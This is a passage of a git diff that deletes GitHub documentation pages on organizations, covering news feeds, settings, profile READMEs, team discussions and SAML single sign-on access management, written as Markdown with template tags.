recently updated issues and pull requests in your organization. - -{% data reusables.dashboard.recent-activity-qualifying-events %} - -## Finding repositories in your organization - -In the left sidebar of your dashboard, you can access your organization's top repositories you're active in. - -## Staying updated with activity from the organization - -In the "All activity" section of your news feed, you can view updates from other teams and repositories in your organization. - -The "All activity" section shows all recent activity in the organization, including activity in repositories you're not subscribed to and of people you're not following. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications) and [AUTOTITLE](/get-started/exploring-projects-on-github/following-people). - -For instance, the organization news feed shows updates when someone in the organization: -* Creates a new branch. -* Comments on an issue or pull request. -* Submits a pull request review comment. -* Forks a repository. -* Creates a wiki page. -* Pushes commits. -* Creates a public repository. - -## Further information - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard) diff --git a/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md deleted file mode 100644 index 038e8450e3f6..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: About your organization’s news feed -intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization. -redirect_from: - - /articles/news-feed - - /articles/about-your-organization-s-news-feed - - /articles/about-your-organizations-news-feed - - /github/setting-up-and-managing-organizations-and-teams/about-your-organizations-news-feed -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Organization news feed ---- - - -{% ifversion fpt or ghec %} ->[!NOTE] The organization news feed is not available with {% data variables.product.prodname_emus %}. - -{% endif %} - -An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.github %}. - -## Accessing your organization's news feed - -1. Sign in to your account on {% data variables.location.product_location %}. -1. Open your {% data reusables.user-settings.personal_dashboard %}. -1. In the upper-left corner of the page, select the dropdown menu that switches account context, then select an organization. - - ![Screenshot of a user's dashboard page. In the top-left corner, a dropdown menu, labeled with "octocat" and a downwards arrow, is outlined in orange.](/assets/images/help/organizations/account-context-switcher-global-nav-update.png) diff --git a/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md deleted file mode 100644 index 3dd2140c590e..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Accessing your organization's settings -redirect_from: - - /articles/who-can-access-organization-billing-information-and-account-settings - - /articles/managing-the-organization-s-settings - - /articles/who-can-see-billing-information-account-settings - - /articles/who-can-see-billing-information-and-access-account-settings - - /articles/managing-an-organization-s-settings - - /articles/accessing-your-organization-s-settings - - /articles/accessing-your-organizations-settings - - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings -intro: 'The organization account settings page provides several ways to manage the account, such as billing, team membership, and repository settings.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Access organization settings ---- -{% ifversion fpt or ghec %} - -> [!TIP] -> Only organization owners and billing managers can see and change the billing information and the full set of account settings for an organization. Organization moderators only see moderation settings. {% data reusables.organizations.new-org-permissions-more-info %} - -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} diff --git a/content/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations.md b/content/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations.md deleted file mode 100644 index cfae6b63cfd6..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Best practices for organizations -shortTitle: Best practices -intro: 'Learn {% data variables.product.prodname_dotcom %}-recommended practices for your organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -## Assign multiple owners - -{% data reusables.organizations.org-ownership-recommendation %} For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization). - -## Use teams - -We recommend using teams to facilitate collaboration in your organization. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -{% ifversion ghec %} -We highly recommend managing team membership through your identity provider (IdP). For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). - -{% data reusables.enterprise-accounts.emu-scim-note %} -{% endif %} - -We recommend keeping teams visible whenever possible and reserving secret teams for sensitive situations. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/changing-team-visibility). - -{% ifversion ghec or ghes %} - -## Use security overview - -{% data reusables.security-overview.about-security-overview %} For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview). -{% endif %} diff --git a/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md b/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md deleted file mode 100644 index 5f47df79d5fe..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Creating a new organization from scratch -intro: Create an organization to apply fine-grained access permissions to repositories. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /articles/creating-a-new-organization-from-scratch - - /admin/user-management/creating-organizations - - /github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch -topics: - - Organizations - - Teams -shortTitle: Create new organization ---- - -When you create a new organization from scratch, it doesn't have any repositories associated with it. For more information on adding repositories to your organization, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository) and [AUTOTITLE](/repositories/creating-and-managing-repositories/transferring-a-repository). - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.organizations %} -{% data reusables.organizations.new-organization %} -1. Follow the prompts to create your organization. {% ifversion fpt or ghec %}For more information about the plans available for your team, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans).{% endif %} - -## Further reading - -{% ifversion fpt or ghec %} -* [AUTOTITLE](/billing/managing-your-github-billing-settings/setting-your-billing-email){% endif %} -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization) diff --git a/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md b/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md deleted file mode 100644 index 8986c103a20b..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Customizing your organization's profile -intro: You can share information about your organization by customizing your organization's profile. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Organizations -shortTitle: Customize organization profile ---- - - -## About your organization's profile page - -You can customize your organization's Overview page to show a README and pinned repositories dedicated to public users or members of the organization. - -Members of your organization who are signed into {% data variables.product.prodname_dotcom %}, can select a `member` or `public` view of the README and pinned repositories when they visit your organization's profile page. - -![Screenshot of an organization's profile page. In the right sidebar, a dropdown menu, labeled "View as: Public", is outlined in dark orange.](/assets/images/help/organizations/profile-view-switcher-public.png) - -The view defaults to `member` if either a members-only README or members-only pinned repositories are present, and `public` otherwise. - -Users who are not members of your organization will be shown a `public` view. - -### Pinned repositories - -You can give users easy access to important or frequently used repositories, by choosing up to six repositories for public users and six repositories for members of the organization. Once you pin repositories to your organization profile, the "Pinned" section is shown above the "Repositories" section of the profile page. - -Only organization owners can pin repositories. For more information, see [Pinning repositories to your organization's profile](#pinning-repositories-to-your-organizations-profile). - -### Organization profile READMEs - -You can share information about how to engage with your organization by creating an organization profile README for both public users and members of the organization. {% data variables.product.prodname_dotcom %} shows your organization profile README in the "Overview" tab of your organization. - -You can choose what information to include in your organization profile README. Here are some examples of information that may be helpful. - -* An "About" section that describes your organization -* Guidance for getting help in the organization - -You can format text and include emoji, images, and GIFs in your organization profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github). - -{% ifversion enterprise-readme %} -If you manage multiple organizations with an enterprise account, you can help members learn about the different organizations in the enterprise by creating an enterprise README. For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise). -{% endif %} - -## Adding a public organization profile README - -The content of public `README.md` will appear on your organization's public profile. - -1. If your organization does not already have a public `.github` repository, create a public `.github` repository. -1. In your organization's `.github` repository, create a `README.md` file in the `profile` folder. -1. Commit the changes to the `README.md` file. - -## Adding a member-only organization profile README - -The content of a member-only `README.md` will be displayed in the member view of your organization's profile. - -1. If your organization does not already have a `.github-private` repository, create a private repository called `.github-private`. -1. In your organization's `.github-private` repository, create a `README.md` file in the `profile` folder. -1. Commit the changes to the `README.md` file. - -## Pinning repositories to your organization's profile - -You can pin repositories that you want to feature, such as those that are frequently used, to your organization's profile page. To choose which repositories to pin to your organization's profile, you must be an organization owner. - -1. Navigate to your organization's profile page. -1. In the right sidebar of the page, select the **{% octicon "eye" aria-hidden="true" %} View as** dropdown menu, then click **Public** or **Member**. - - ![Screenshot of an organization's profile page. In the left sidebar, a dropdown menu, labeled "View as: public" is outlined in dark orange.](/assets/images/help/organizations/org-profile-view.png) -1. Navigate to the settings for pinned repositories. - - * If you already have pinned repositories, in the "Pinned" section, click **Customize pins**. - - ![Screenshot of an organization's profile page. In the top-right corner of the "Pinned" section, "Customize pins" is outlined in dark orange.](/assets/images/help/organizations/customize-pins-link.png) - - * If you haven't yet pinned any repositories, in the right sidebar, click **pin repositories**. - - ![Screenshot of an organization's profile page. In the right sidebar, a link, labeled "pin repositories," is outlined in dark orange.](/assets/images/help/organizations/pin-repositories-org-link.png) - -1. In the "Edit pinned repositories" dialog box, select a combination of up to six public, {% ifversion not fpt %}private, or internal{% else %}or private{% endif %} repositories to display. -1. Click **Save pins**. - -## Changing your organization's profile picture - -When you create an organization, {% data variables.product.github %} provides you with a randomly generated "identicon." The identicon is generated from a hash of your organization's user ID, so there's no way to control its color or pattern. - -You can replace the identicon with an image that represents your organization. To replace the image, you can upload a new image or use a Gravatar image. - -### Uploading an image - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. Under your profile picture, click **Upload new picture**, then select an image. - -### Using a Gravatar image - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Gravatar email (Private)" field, enter the email address associated with your Gravatar image. -1. Click **Update profile**. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme) diff --git a/content/organizations/collaborating-with-groups-in-organizations/index.md b/content/organizations/collaborating-with-groups-in-organizations/index.md deleted file mode 100644 index 1d65afabe027..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Collaborating with groups in organizations -intro: Groups of people can collaborate across many projects at the same time in organization accounts. -redirect_from: - - /articles/creating-a-new-organization-account - - /articles/collaborating-with-groups-in-organizations - - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-groups-in-organizations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /about-organizations - - /about-your-organization-dashboard - - /best-practices-for-organizations - - /creating-a-new-organization-from-scratch - - /accessing-your-organizations-settings - - /customizing-your-organizations-profile - - /about-your-organizations-news-feed - - /viewing-insights-for-dependencies-in-your-organization - - /viewing-github-actions-metrics-for-your-organization -shortTitle: Collaborate with groups ---- - diff --git a/content/organizations/collaborating-with-groups-in-organizations/viewing-github-actions-metrics-for-your-organization.md b/content/organizations/collaborating-with-groups-in-organizations/viewing-github-actions-metrics-for-your-organization.md deleted file mode 100644 index 4a3c6d41d3eb..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/viewing-github-actions-metrics-for-your-organization.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Viewing GitHub Actions metrics for your organization -shortTitle: GitHub Actions metrics -intro: GitHub Actions metrics provide insights into how and where your organization is using resources for its CI/CD pipelines. -permissions: Organization owners and users with the "View organization Actions metrics" permission. -versions: - feature: actions-metrics -redirect_from: - - /organizations/collaborating-with-groups-in-organizations/viewing-usage-metrics-for-github-actions - - /organizations/collaborating-with-groups-in-organizations/viewing-metrics-for-github-actions ---- - -{% data reusables.actions.about-actions-metrics %} - -{% data reusables.actions.enabling-actions-metrics %} - -## About {% data variables.product.prodname_actions %} usage metrics - -{% data reusables.actions.about-actions-usage-metrics %} - -{% data reusables.actions.actions-usage-metrics-not-billing-metrics %} - -## About {% data variables.product.prodname_actions %} performance metrics - -{% data reusables.actions.about-actions-performance-metrics %} - -## Understanding {% data variables.product.prodname_actions %} metrics aggregation - -{% data reusables.actions.about-actions-usage-metrics-aggregation %} - -## Viewing {% data variables.product.prodname_actions %} metrics for your organization - -{% data reusables.actions.actions-metrics-discrepancy-note %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.insights %} -{% data reusables.actions.viewing-actions-metrics %} diff --git a/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization.md b/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization.md deleted file mode 100644 index fb4af477f3af..000000000000 --- a/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Viewing insights for dependencies in your organization -intro: Organization dependency insights provide data about your organization dependencies. -redirect_from: - - /articles/viewing-insights-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/viewing-insights-for-your-organization - - /organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Dependency insights -permissions: '{% data reusables.permissions.dependency-graph-view-org-insights %}' ---- - -> [!NOTE] -> To view organization dependency insights, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - -## Viewing organization dependency insights - -Dependency insights can help you track, report, and act on your organization's open source usage. - -> [!NOTE] -> Please make sure you have enabled the [Dependency Graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph). - -With dependency insights you can view vulnerabilities, licenses, and other important information for the open source projects your organization depends on. - -> [!NOTE] -> Dependency insights don't include information for private dependencies. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.insights %} -1. Optionally, to view dependency insights for all your organizations, click **My organizations**. - - ![Screenshot of the "Dependency insights" page. A button, labeled "My organizations," is outlined in dark orange.](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png) -1. To filter by a vulnerability status, a license, or a combination of the two, click the results in the **Open security advisories** and **Licenses** graphs. -1. To see which dependents in your organization are using each library, next to a vulnerability, click **{% octicon "package" aria-hidden-"true" %} X dependents**. - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository) -* [AUTOTITLE](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights) -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-for-visibility-of-dependency-insights) diff --git a/content/organizations/collaborating-with-your-team/about-team-discussions.md b/content/organizations/collaborating-with-your-team/about-team-discussions.md deleted file mode 100644 index 95c33e4864b2..000000000000 --- a/content/organizations/collaborating-with-your-team/about-team-discussions.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: About team discussions -intro: 'Your team can plan together, update one another, or talk about any topic you''d like in discussion posts on your team''s page in an organization.' -redirect_from: - - /articles/about-team-discussions - - /github/building-a-strong-community/about-team-discussions - - /github/setting-up-and-managing-organizations-and-teams/about-team-discussions -versions: - feature: team-discussions -topics: - - Community ---- - -{% data reusables.organizations.team-discussions-migration %} - -{% data reusables.organizations.team-discussions-purpose %} - -Any organization member can post on your team's page or participate in a public discussion. {% data reusables.organizations.team-discussions-permissions %} - -You can link to any team discussion to reference it elsewhere. You can pin important posts to your team's page for quick reference later. For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/pinning-a-team-discussion). - -{% data reusables.organizations.team-discussions-default %} Owners can disable team discussions for the entire organization. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization). - -## Notifications for team discussions - -When someone posts or replies to a public discussion on a team's page, members of the team and members of any child teams receive email or web notifications. When someone posts or replies to a private discussion on a team's page, only members of the team receive notifications. - -> [!TIP] -> Depending on your notification settings, you'll receive updates by email, the web notifications page on {% data variables.product.github %}, or both. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications). - -By default, if your username is mentioned in a team discussion, you'll receive notifications for the post mentioning your username and any replies to that post. Also, by default, if you reply to a post, you will receive notifications for other replies to the post. - -To turn off notifications for team discussions, you can unsubscribe to a specific discussion post or change your notification settings to unwatch or completely ignore a specific team's discussions. You can subscribe to notifications for a specific discussion post even if you're unwatching that team's discussions. - -For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions) and [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams#nested-teams). - -{% ifversion fpt or ghec %} - -## Organization discussions - -You can also use organization discussions to facilitate conversations across your organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/using-github/communicating-on-github) -* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) -* [AUTOTITLE](/organizations/collaborating-with-your-team/creating-a-team-discussion) -* [AUTOTITLE](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion) diff --git a/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md b/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md deleted file mode 100644 index 1eca053031e1..000000000000 --- a/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Creating a team discussion -intro: 'Any organization member can create a _public_ team discussion post. To create a _private_ team discussion post, you must be a member of the team or an organization owner.' -redirect_from: - - /articles/creating-a-team-discussion - - /github/building-a-strong-community/creating-a-team-discussion - - /github/setting-up-and-managing-organizations-and-teams/creating-a-team-discussion -versions: - feature: team-discussions -topics: - - Community -shortTitle: Create a team discussion ---- - -{% data reusables.organizations.team-discussions-migration %} - -{% data reusables.organizations.team-discussions-permissions %} For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team-discussions-tab %} -1. Type a team discussion title and a comment to start a conversation. -1. Optionally, select whether you want your post to be private or public using the drop-down menu. -1. Click **Comment**. - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions) -* [AUTOTITLE](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion) -* [AUTOTITLE](/organizations/collaborating-with-your-team/pinning-a-team-discussion) diff --git a/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md b/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md deleted file mode 100644 index 13af73bf1193..000000000000 --- a/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Editing or deleting a team discussion -intro: 'Organization members can edit or delete discussions on a team''s page. If you''re an organization member, you can edit or delete the discussion.' -redirect_from: - - /articles/editing-or-deleting-a-team-discussion - - /github/building-a-strong-community/editing-or-deleting-a-team-discussion - - /github/setting-up-and-managing-organizations-and-teams/editing-or-deleting-a-team-discussion -versions: - feature: team-discussions -topics: - - Community -shortTitle: Manage a team discussion ---- - -{% data reusables.organizations.team-discussions-migration %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team-discussions-tab %} -1. Click {% octicon "kebab-horizontal" aria-label="The edit icon" %} next to the team discussion you want to edit or delete. -1. Click **Edit**. Optionally, click **Delete**. - ![Screenshot showing a dropdown menu on a discussion post. The edit option is highlighted with an orange outline.](/assets/images/help/projects/edit-team-discussions-button.png) -1. Modify the team discussion title and comment as needed, and click **Update comment**. - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions) -* [AUTOTITLE](/organizations/collaborating-with-your-team/creating-a-team-discussion) -* [AUTOTITLE](/organizations/collaborating-with-your-team/pinning-a-team-discussion) diff --git a/content/organizations/collaborating-with-your-team/index.md b/content/organizations/collaborating-with-your-team/index.md deleted file mode 100644 index c6902b924b36..000000000000 --- a/content/organizations/collaborating-with-your-team/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Collaborating with your team -intro: 'Within an organization, your team can work together across projects using team discussions.' -redirect_from: - - /articles/collaborating-with-your-team - - /github/building-a-strong-community/collaborating-with-your-team - - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-your-team -versions: - feature: team-discussions -topics: - - Community -children: - - /about-team-discussions - - /creating-a-team-discussion - - /editing-or-deleting-a-team-discussion - - /pinning-a-team-discussion -shortTitle: Collaborate with your team ---- - -{% data reusables.organizations.team-discussions-migration %} diff --git a/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md b/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md deleted file mode 100644 index 4f60ebff3afc..000000000000 --- a/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Pinning a team discussion -intro: 'You can pin important discussions to your organization''s team pages for easy reference, and unpin discussions that are no longer relevant.' -redirect_from: - - /articles/pinning-a-team-discussion - - /github/building-a-strong-community/pinning-a-team-discussion - - /github/setting-up-and-managing-organizations-and-teams/pinning-a-team-discussion -versions: - feature: team-discussions -topics: - - Community ---- - -{% data reusables.organizations.team-discussions-migration %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team-discussions-tab %} -1. Click {% octicon "pin" aria-label="Pin this discussion" %} next to the team discussion you want to pin. You can also unpin a discussion by clicking the icon. - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions) -* [AUTOTITLE](/organizations/collaborating-with-your-team/creating-a-team-discussion) -* [AUTOTITLE](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion) diff --git a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md deleted file mode 100644 index fb6e64c2430c..000000000000 --- a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: About two-factor authentication and SAML single sign-on -intro: Organization owners can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members. -redirect_from: - - /articles/about-two-factor-authentication-and-saml-single-sign-on - - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: 2FA & SAML single sign-on ---- - -Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization owners limit the likelihood that a member's account on {% data variables.product.prodname_dotcom %} could be compromised. For more information on 2FA, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication). - -To add additional authentication measures, organization owners can also [enable SAML single sign-on (SSO)](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on). - -If both 2FA and SAML SSO are enabled, organization members must do the following: -* Use 2FA to log in to their account on {% data variables.product.prodname_dotcom %} -* Use single sign-on to access the organization -* Use an authorized token for API or Git access and use single sign-on to authorize the token - -## Further reading - -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization) diff --git a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md deleted file mode 100644 index c8f13a76d443..000000000000 --- a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Granting access to your organization with SAML single sign-on -intro: 'Organization owners can grant access to their organization with SAML single sign-on. This access can be granted to organization members, bots, and service accounts.' -redirect_from: - - /articles/granting-access-to-your-organization-with-saml-single-sign-on - - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - Organizations - - Teams -children: - - /managing-bots-and-service-accounts-with-saml-single-sign-on - - /viewing-and-managing-a-members-saml-access-to-your-organization - - /about-two-factor-authentication-and-saml-single-sign-on -shortTitle: Grant access with SAML ---- diff --git a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md deleted file mode 100644 index 0319debfb470..000000000000 --- a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Managing bots and service accounts with SAML single sign-on -intro: Organizations that have enabled SAML single sign-on can retain access for bots and service accounts. -redirect_from: - - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on - - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage bots & service accounts ---- - -To retain access for bots and service accounts, organization administrators can [enable](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization), but **not** [enforce](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization) SAML single sign-on for their organization. If you need to enforce SAML single sign-on for your organization, you can create an external identity for the bot or service account with your identity provider (IdP). - -> [!NOTE] -> If you enforce SAML single sign-on for your organization and **do not** have external identities set up for bots and service accounts with your IdP, they will be removed from your organization. - -## Further reading - -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) diff --git a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md deleted file mode 100644 index a5c763cd4b74..000000000000 --- a/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Viewing and managing a member's SAML access to your organization -intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.' -permissions: Organization owners can view and manage a member's SAML access to an organization. -redirect_from: - - /articles/viewing-and-revoking-organization-members-authorized-access-tokens - - /github/setting-up-and-managing-organizations-and-teams/viewing-and-revoking-organization-members-authorized-access-tokens - - /github/setting-up-and-managing-organizations-and-teams/viewing-and-managing-a-members-saml-access-to-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage SAML access ---- - -## About SAML access to your organization - -When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.github %}. To access your organization's resources on {% data variables.product.github %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with your organization. - -You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page. - -## Viewing and revoking a linked identity - -{% data reusables.saml.about-linked-identities %} - -When available, the entry will include SCIM data. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). - -> [!WARNING] -> For organizations using SCIM: -> * Revoking a linked user identity on {% data variables.product.github %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity. -> * An admin must revoke a linked identity through the identity provider. -> * To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.prodname_ghe_cloud %} application. For more information, see your identity provider's documentation. - -{% data reusables.identity-and-permissions.revoking-identity-team-sync %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.saml.click-person-revoke-identity %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-sso-identity %} -{% data reusables.saml.revoke-sso-identity %} -{% data reusables.saml.confirm-revoke-identity %} - -## Viewing and revoking an active SAML session - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data 